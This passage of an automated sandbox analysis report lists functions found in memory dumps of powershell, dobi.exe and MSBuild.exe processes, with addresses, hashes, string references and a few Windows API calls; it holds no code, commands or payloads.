Instruction ID: 3e4487e97e12c6e8d576dbd72a688e02c9251b1447da2cd88b63050a39bfeb8a
Opcode Fuzzy Hash: f634b9cc90cb0360d6901ed0d4cfc619ca8d0a1ac4e87a74d0ee8f11a7dad2dc
Instruction Fuzzy Hash: F0B127B1B00206DFDF24DE6DC44066ABBEEFF85218F24C46AD6098B253DB35D981C791

Function 079F8C08 Relevance: 5.6, Strings: 4, Instructions: 586COMMON

Download Yara Rule

Strings

4'kq, xrefs: 079F90B0
4'kq, xrefs: 079F8F46
4'kq, xrefs: 079F90BA
4'kq, xrefs: 079F8F50

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq$4'kq
API String ID: 0-1293621312
Opcode ID: 4acd517b6696fc4c04a67cf0503e092f8533edc4320ccb4e795bd96800b5f82a
Instruction ID: a444357fbb824cbceefd482a7ed03c96550b0d0b892aaf88705dca135ce32c82
Opcode Fuzzy Hash: 4acd517b6696fc4c04a67cf0503e092f8533edc4320ccb4e795bd96800b5f82a
Instruction Fuzzy Hash: A9127BB17043058FCB159B689800B6A7BB6AFC2328F1884BBD605CF396DF35D995C7A1

Function 079F6758 Relevance: 4.6, Strings: 3, Instructions: 882COMMON

Download Yara Rule

Strings

$kq, xrefs: 079F69D4
$kq, xrefs: 079F6A1A
$kq, xrefs: 079F6A26

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq
API String ID: 0-2086306503
Opcode ID: 06270dae5dea994377fde2eb05f08ef3972b4c0599a0bc0493a96f75226ad51c
Instruction ID: 038315e24f069c9678bc6a8b2664cc686f335a8ff9267ab13b020ea29b5a2c87
Opcode Fuzzy Hash: 06270dae5dea994377fde2eb05f08ef3972b4c0599a0bc0493a96f75226ad51c
Instruction Fuzzy Hash: BD5256B17043099FCB158F68C80066ABBA6AF85318F24C4BAD605CF396DF36DD95C7A1

Function 079F4D10 Relevance: 2.9, Strings: 2, Instructions: 364COMMON

Download Yara Rule

Strings

4'kq, xrefs: 079F4E05
4'kq, xrefs: 079F4DF9

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: de2fe5032b0f0bd26afdaf6a88c44f6393cf3ed5c6209b99cb41c6b2b6c04473
Instruction ID: 6eeb6f57ccca5d7259b1bc09dd430bad57e29ec38d3ef45bdcf02ac136e7043a
Opcode Fuzzy Hash: de2fe5032b0f0bd26afdaf6a88c44f6393cf3ed5c6209b99cb41c6b2b6c04473
Instruction Fuzzy Hash: D3C17CB1B002469FCB208B79980066BBBFAAFC5258F19C47AC605CF365EB31D951C7E1

Function 079F4CF5 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

4'kq, xrefs: 079F4DF9

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq
API String ID: 0-3255046985
Opcode ID: 59b40996a428a39c082757ff05bfc05f80337a2b9ffcb5a6c8586aa669c76af0
Instruction ID: a4bd69b2e8d798b85d8bb631aa4cb250fbbdfbf77d48d87ee1bc058fa68dc129
Opcode Fuzzy Hash: 59b40996a428a39c082757ff05bfc05f80337a2b9ffcb5a6c8586aa669c76af0
Instruction Fuzzy Hash: 4D2148F56043869FCB504E35880037B7BB9AF41659F148077C611CF2B9EB74EA91C7A2

Function 04B472C0 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d5e1385e24257d4bb22e1b41928d4551cf92f1d9f442da54c1aa875ff81f7f
Instruction ID: 2ff687c3499beda9de5a8d55356627ba27d6eb3b9934ab206ff2969c7825a6cb
Opcode Fuzzy Hash: 33d5e1385e24257d4bb22e1b41928d4551cf92f1d9f442da54c1aa875ff81f7f
Instruction Fuzzy Hash: 1FA18034A05208DFCB14CFA8D8849AEBBF6FF89314F1584A9E405AB362DB35ED45DB50

Function 04B42AA0 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8761483bb04ead0174195b0f447217437269f883a94f33854f8e96c4210644bd
Instruction ID: 44311c3f020b3db6f23f9c1af9af634b4257686c4249fcf5cdb765779b44e845
Opcode Fuzzy Hash: 8761483bb04ead0174195b0f447217437269f883a94f33854f8e96c4210644bd
Instruction Fuzzy Hash: 93917C74A002098FCB19CF59C4949BEFBB1FF88314B248699E815AB3A5C735FC51DB90

Function 04B4D4C0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae523f3cc0abeac69c67fb66463684133f05e535e764fe19c714222ca9deeec3
Instruction ID: c19fea3eb8a1e63414add3ba844864f5dde31d2b061ed8ed7de8909f09e5799a
Opcode Fuzzy Hash: ae523f3cc0abeac69c67fb66463684133f05e535e764fe19c714222ca9deeec3
Instruction Fuzzy Hash: 70815F34A002048FDB15DF78D494AAEBBF6EF89304F14896DD456AB3A1DB39EC46CB50

Function 04B4D490 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 616b1f61baa325811b5d5cd423e3879ada53cacedfc411aa0244477b82a41bb7
Instruction ID: 8bc6b8bd57e644d971c4247ab2c1acb7bc8e8fedfd17098f6ce65894b7d8d134
Opcode Fuzzy Hash: 616b1f61baa325811b5d5cd423e3879ada53cacedfc411aa0244477b82a41bb7
Instruction Fuzzy Hash: DE716E34A002048FDB25DF79D494AADBBF6FF89304F14896DD456AB3A1DB34AC46CB50

Function 079F8BED Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1d6064d46a9a56ba59de44865e8a14dbb009eb5824eb663ff50e4c8d3b5aba7
Instruction ID: 15aa55b76ca316f14ffb750890b9d09a0b17eeb2f7a840e9bd8c8d785ae83ff2
Opcode Fuzzy Hash: f1d6064d46a9a56ba59de44865e8a14dbb009eb5824eb663ff50e4c8d3b5aba7
Instruction Fuzzy Hash: 0B4138F1700306DFCFA48E24D841F6A7BA6AF91318F148066C605DF295DB35ED91C7A1

Function 04B42BB0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bf6da98e103104dcacc0d4c97c051e2f6b484915c4f71090d6bfc7886bf125
Instruction ID: 9614ff8e84e30d2e4f0270c5747870d478d0bbe57e60838abf314d4393c7e610
Opcode Fuzzy Hash: 34bf6da98e103104dcacc0d4c97c051e2f6b484915c4f71090d6bfc7886bf125
Instruction Fuzzy Hash: 9E416CB4A001099FCB09CF58C5949AEFBB1FF88314B118699E805AB3A5C736FD51DFA0

Function 04B4829A Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c1aa5410d140d46954c9465fa8be1482cb38c34a1a793f8c8be3424dbe083b
Instruction ID: d662fde6a4de4f6f7dc12f3bc1cc7e2a4ade02924e8d20f057d52608111ef00b
Opcode Fuzzy Hash: f4c1aa5410d140d46954c9465fa8be1482cb38c34a1a793f8c8be3424dbe083b
Instruction Fuzzy Hash: 6D416A35A052089FCB05DF68D48099DBBF2FF8D320B2580AAE904EB366DB35EC45CB50

Function 04B46D63 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29e4125f25239be3cbabfb4014a4fbad77b1676ba15294a198fc4592d8f69194
Instruction ID: cbbab9970386bf3d74157abb4cd7fe0b53808cf9e04cb8340faba3df3bc49ad2
Opcode Fuzzy Hash: 29e4125f25239be3cbabfb4014a4fbad77b1676ba15294a198fc4592d8f69194
Instruction Fuzzy Hash: 8F416B74B002458FC741DF69D4808AEBBF2FF8A210B5041AAE546DB776DB30ED48CB91

Function 04B46F08 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0950345619184d6f6a8dd62071a9762f4231353f9a69907e57b3add2045eb809
Instruction ID: b3f85a27832e0a0a81c4095f51f7bda85014b15e7a4e98c2fa762fb3439a9818
Opcode Fuzzy Hash: 0950345619184d6f6a8dd62071a9762f4231353f9a69907e57b3add2045eb809
Instruction Fuzzy Hash: 34313E35A006148FCB14DF78C944AAEB7F2FF89204F1049A8D416A7354EB39BD46CBA1

Function 049DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2219259100.00000000049DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 049DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_49dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33b46ad98d92bd159ec6d3319c7b93e2626c4e23b7b9852510a13687f8a78b3
Instruction ID: 984d665b7bfab6838d10466bb0da7ef4af5f794e3b70dea6ae9ce1dce002ec3f
Opcode Fuzzy Hash: b33b46ad98d92bd159ec6d3319c7b93e2626c4e23b7b9852510a13687f8a78b3
Instruction Fuzzy Hash: D2012B311093009AE7109E25DD84B67BFDCEF81364F08CA39ED080F246C279E841C6B1

Function 049DD005 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2219259100.00000000049DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 049DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_49dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4647b44f755b28f739a7f888e5a376b57997be12336c4e1f755ac37276ddba2
Instruction ID: 1d0c19b86ba696936bbdb0b2aba647d4e8184eebc37c855c208c76a78cc992aa
Opcode Fuzzy Hash: b4647b44f755b28f739a7f888e5a376b57997be12336c4e1f755ac37276ddba2
Instruction Fuzzy Hash: B8014C6200E3C09ED7128B25D994B56BFB8EF42224F18C5DBD9888F293C2699849C772

Function 04B46CDB Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eef2c2e493c91af801a15d26978c9564abce32bbd4030099329a4c9f2f60c5b4
Instruction ID: b1cfb8af2fa07fd0e694f87e97ea4f91b45af4197df077ff4fbb09f9fe2ee849
Opcode Fuzzy Hash: eef2c2e493c91af801a15d26978c9564abce32bbd4030099329a4c9f2f60c5b4
Instruction Fuzzy Hash: 4C01C974E0424A8FCB40DF68D485A9DBFF1BF49214F6041E9D509DB362D7319985CF91

Function 079F3A65 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced5d922981b9240c810d1b70d18e519ccd22cfd32fb4e3fce2bd15271397d1a
Instruction ID: f83736adcca9e3cb22a2c6c80b794f5df1e16c5cf7b7ac05e81b76c00882a926
Opcode Fuzzy Hash: ced5d922981b9240c810d1b70d18e519ccd22cfd32fb4e3fce2bd15271397d1a
Instruction Fuzzy Hash: 60F0F0706087945FC7326B789C152467F21AF43334B0047A9D1A18FAE2CA6A680587E2

Function 04B46CE8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2220201225.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d56ca92823a28c32cababb657bc5598cf6d8a7e1d58b939f1f3a25992a67d046
Instruction ID: c2f9f478549002861fe0a1e5cb62ecdd0e3d67f521dba8877e85a379870ba79d
Opcode Fuzzy Hash: d56ca92823a28c32cababb657bc5598cf6d8a7e1d58b939f1f3a25992a67d046
Instruction Fuzzy Hash: 4EF0A974E0020A8FC780DF68C485AAEBBF0FF49310F5041A9D509DB321E730A945CF91

Function 079F3A80 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba54c03c2addb8323b145f44fa14755c286c7c8df8568544f04ae372e41eb64f
Instruction ID: 39ed9d942521589355b0c875f4ef7845579be1eb92501e41d03d353e937b4990
Opcode Fuzzy Hash: ba54c03c2addb8323b145f44fa14755c286c7c8df8568544f04ae372e41eb64f
Instruction Fuzzy Hash: 2AE09270200B695FCA307FBD9C0554ABA65AF827747104728E2B24FBD4CB62A80587D2

Non-executed Functions

Function 079F2A28 Relevance: 11.7, Strings: 9, Instructions: 478COMMON

Download Yara Rule

Strings

tPkq, xrefs: 079F2E81
4'kq, xrefs: 079F2B30
$kq, xrefs: 079F2E3C
4'kq, xrefs: 079F2D2F
tPkq, xrefs: 079F2E75
4'kq, xrefs: 079F2B26
$kq, xrefs: 079F2E0A
4'kq, xrefs: 079F2D25
$kq, xrefs: 079F2E30

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq$4'kq$tPkq$tPkq$$kq$$kq$$kq
API String ID: 0-631673903
Opcode ID: ab233446b63da8c2131a3acc68b0cd8f5e363f2907565238de16404ebb79eedc
Instruction ID: 5302d2df42bd4c499e11868aee748865de4c47a62697b43e94f1e8a6c45ed966
Opcode Fuzzy Hash: ab233446b63da8c2131a3acc68b0cd8f5e363f2907565238de16404ebb79eedc
Instruction Fuzzy Hash: 3AF15EB17043168FCB248F69880076EBBB6BFC6215B28847BD645CF395DA35CD51C7A1

Function 079F1BF0 Relevance: 6.5, Strings: 5, Instructions: 272COMMON

Download Yara Rule

Strings

tPkq, xrefs: 079F1DE5
$kq, xrefs: 079F1DA0
$kq, xrefs: 079F1D7A
tPkq, xrefs: 079F1DF1
$kq, xrefs: 079F1DAC

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: tPkq$tPkq$$kq$$kq$$kq
API String ID: 0-3717473988
Opcode ID: 0281d09ecd1148769f37a828654c2f2f50a9d8d36d96f45b5ece5ac882232486
Instruction ID: fcfa5313b2cbfa52f4400ea83839ddd302b28357c4442f58e602f6019b863246
Opcode Fuzzy Hash: 0281d09ecd1148769f37a828654c2f2f50a9d8d36d96f45b5ece5ac882232486
Instruction Fuzzy Hash: 869189B1748349DFC7248B69981066ABFBAAFC5214F28846FD605CB352CA35CC41C7E1

Function 079F86E0 Relevance: 6.4, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

$kq, xrefs: 079F889E
4'kq, xrefs: 079F8796
$kq, xrefs: 079F8892
$kq, xrefs: 079F8867
4'kq, xrefs: 079F878A

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$$kq$$kq$$kq
API String ID: 0-1023320533
Opcode ID: 64b19c98551cde7de90f5c144240cbe4c6aef37593420813a33c3c3ef6125b28
Instruction ID: 5498eff5e240ccb980d3e30317c5dfc60c39dd7ab23a680324df997dc21e862f
Opcode Fuzzy Hash: 64b19c98551cde7de90f5c144240cbe4c6aef37593420813a33c3c3ef6125b28
Instruction Fuzzy Hash: 7A518BB1704306DFCB649A698800B67BBFAAFC1318F28847BD655CB395DA35C891C7A1

Function 079F51B0 Relevance: 5.3, Strings: 4, Instructions: 251COMMON

Download Yara Rule

Strings

tPkq, xrefs: 079F5293
$kq, xrefs: 079F52F7
$kq, xrefs: 079F525C
tPkq, xrefs: 079F529F

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: tPkq$tPkq$$kq$$kq
API String ID: 0-325073643
Opcode ID: e439dd24ba50a30839aeef02bb0ea2146b00e8e724ccb32dfb1d8aa3cec3e4c2
Instruction ID: 7b0e62c0c25baf08eadba36263ab71f2e88506ab3e497d5615038e06a2293cb6
Opcode Fuzzy Hash: e439dd24ba50a30839aeef02bb0ea2146b00e8e724ccb32dfb1d8aa3cec3e4c2
Instruction Fuzzy Hash: FC815871B002149FC7209B69C8407AEBBE6EFC5314F25C46AE905DF385CAB6EC51C7A2

Function 079FA530 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$kq, xrefs: 079FA55E
$kq, xrefs: 079FA542
$kq, xrefs: 079FA598
$kq, xrefs: 079FA58C

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq
API String ID: 0-2881790790
Opcode ID: 62c13f2b2967765d9fbd969181ec32c928404a0128c4ec3565bfc83a23f04b9f
Instruction ID: 81095b1db59b5752de14170c67108b5d69498c16666807b8246b6c7923144651
Opcode Fuzzy Hash: 62c13f2b2967765d9fbd969181ec32c928404a0128c4ec3565bfc83a23f04b9f
Instruction Fuzzy Hash: 312127B13103165FDB38996A9C40B2B76EEDFD2719F24C82AA60DCB385DD79D8418361

Function 079F0309 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

4'kq, xrefs: 079F0373
$kq, xrefs: 079F0352
4'kq, xrefs: 079F037F
$kq, xrefs: 079F035E

Memory Dump Source

Source File: 00000005.00000002.2318952004.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$$kq$$kq
API String ID: 0-1727931526
Opcode ID: 72aa7dc80e2b2628e2d2b32568daefa9ada1c184a70cf394329e509e5677ec87
Instruction ID: 0338334d161ec9a247c2603ebe645a8fe04223bd956f6977b3ccbf5b1feef3fa
Opcode Fuzzy Hash: 72aa7dc80e2b2628e2d2b32568daefa9ada1c184a70cf394329e509e5677ec87
Instruction Fuzzy Hash: 0501F72270E3C55FC73B162C5C205666FBB6FC351432A419BD141CB397CDA88D4683A7

Analysis Process: dobi.exePID: 4908, Parent PID: 1744COMMON

Execution Graph

Execution Coverage:	18%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.3%
Total number of Nodes:	132
Total number of Limit Nodes:	6

Executed Functions

Function 0049446E Relevance: 1.6, APIs: 1, Instructions: 149
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004943CE: GlobalAlloc.KERNELBASE ref: 00494417

NtQuerySystemInformation.NTDLL ref: 004944F2

Memory Dump Source

Source File: 00000008.00000002.2223891657.0000000000492000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_492000_dobi.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: 8c09bd6d8fd5ee20b035233eef33eabb4ca4f48fc73dbce697c040693e972480
Instruction ID: 21c572c4f908f3540d0bf36461912dab23d70d506b1519c33689a3506e54eb30
Opcode Fuzzy Hash: 8c09bd6d8fd5ee20b035233eef33eabb4ca4f48fc73dbce697c040693e972480
Instruction Fuzzy Hash: DD51E8705187889FCB90DF18C484B6ABBE1FBD9315F50096EF489C3260D778D981CB06

Function 00493A7E Relevance: 4.6, APIs: 3, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00493AC7

Memory Dump Source

Source File: 00000008.00000002.2223891657.0000000000492000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_492000_dobi.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8032b0ba991dd03c5fa2c1ec5b4b8d47362134ba77c6104b369a7721eef24fb4
Instruction ID: 2ecc44d071384a29d286c728ae1d922f187d4eb088b90a7101874b7410821bde
Opcode Fuzzy Hash: 8032b0ba991dd03c5fa2c1ec5b4b8d47362134ba77c6104b369a7721eef24fb4
Instruction Fuzzy Hash: 1631D630118B488FDBA4DF28C458B6ABBF0FF9A345F50496EE599C3261CB75D945CB02

Function 0049428E Relevance: 3.1, APIs: 2, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 004942D7
WriteFile.KERNELBASE ref: 00494318

Memory Dump Source

Source File: 00000008.00000002.2223891657.0000000000492000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_492000_dobi.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: f964fc0a9751bcbac317b99878c967633e6b6b80f2f16d1eb3a3cc0f33895600
Instruction ID: 1ce44d9ceb1844d10cd8f2bc7f164d3afeaef43df8339d9009da65ba1af11301
Opcode Fuzzy Hash: f964fc0a9751bcbac317b99878c967633e6b6b80f2f16d1eb3a3cc0f33895600
Instruction Fuzzy Hash: 5911F630118B448FDB54EF28C489B6ABBE0FBD9344F504A6DF48AC3260CB35D946CB46

Function 0049355E Relevance: 1.5, APIs: 1, Instructions: 29
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004943CE: GlobalAlloc.KERNELBASE ref: 00494417

LoadLibraryExW.KERNELBASE ref: 00493596

Memory Dump Source

Source File: 00000008.00000002.2223891657.0000000000492000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_492000_dobi.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: 50faf466d86b928939341df2e7a762949ab380640cffd951318062ffd52d6bab
Instruction ID: fd3b8fd65f2a0918cb0dee31aa8277ff78985de6c0337eb7d2e2d6a95a6f1e9c
Opcode Fuzzy Hash: 50faf466d86b928939341df2e7a762949ab380640cffd951318062ffd52d6bab
Instruction Fuzzy Hash: 29F09870518A488F8B84EF28C449A1ABBE1FBD9315F404A2EB48DD3230C635D944CB46

Function 0049602E Relevance: 1.5, APIs: 1, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2223891657.0000000000492000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_492000_dobi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82351e859c8933ee05a3a1643807d11bd9e9d605b5eac0b83267ab98d2030a5
Instruction ID: f3fa315f0f0c6f5847ad64b7ab4affa04e669f993fe892a30e2bd8812f866104
Opcode Fuzzy Hash: c82351e859c8933ee05a3a1643807d11bd9e9d605b5eac0b83267ab98d2030a5
Instruction Fuzzy Hash: B991AE7010D784CFDBA4EF28C484B5ABBE1FBA9301F51596EE48AC7261DB75D885CB02

Function 004943CE Relevance: 1.3, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE ref: 00494417

Memory Dump Source

Source File: 00000008.00000002.2223891657.0000000000492000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_492000_dobi.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ba1b9466268fe03848d5d9d10af9dd6cf040b6a4df980d2f73a2bd1ec1c171d8
Instruction ID: 9d06b3823c1bd9e56fb4d0f7365d0416f6e6c246b6b61d1cc74fb81221e7aea4
Opcode Fuzzy Hash: ba1b9466268fe03848d5d9d10af9dd6cf040b6a4df980d2f73a2bd1ec1c171d8
Instruction Fuzzy Hash: EEF05F346087448FCB84EF28C488A1ABBF1FB99314F50496DE58DD7361D736D985CB02

Non-executed Functions

Function 00497E91 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2223891657.0000000000492000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_492000_dobi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f771408bd21e5853325f8b2b748909abd1de2bc38ebad5650a45eab04ed24c6
Instruction ID: 5e1fb635cf96a28f88f83e09965db36fe3ed176c502e5385483b3125f5f55196
Opcode Fuzzy Hash: 9f771408bd21e5853325f8b2b748909abd1de2bc38ebad5650a45eab04ed24c6
Instruction Fuzzy Hash: DE113D31440B608FC31DC53D54020AFBF62B962604301D93E9543C9D20C2A65416CFC1

Analysis Process: MSBuild.exePID: 1464, Parent PID: 4548COMMON

Execution Graph

Execution Coverage:	19.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.2%
Total number of Nodes:	124
Total number of Limit Nodes:	8

Executed Functions

Function 02D215E0 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

*JL6, xrefs: 02D22240
@^#, xrefs: 02D228FC
I0=, xrefs: 02D21F14
WG#`, xrefs: 02D218E8
S3., xrefs: 02D226D4
:hW`, xrefs: 02D22055

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

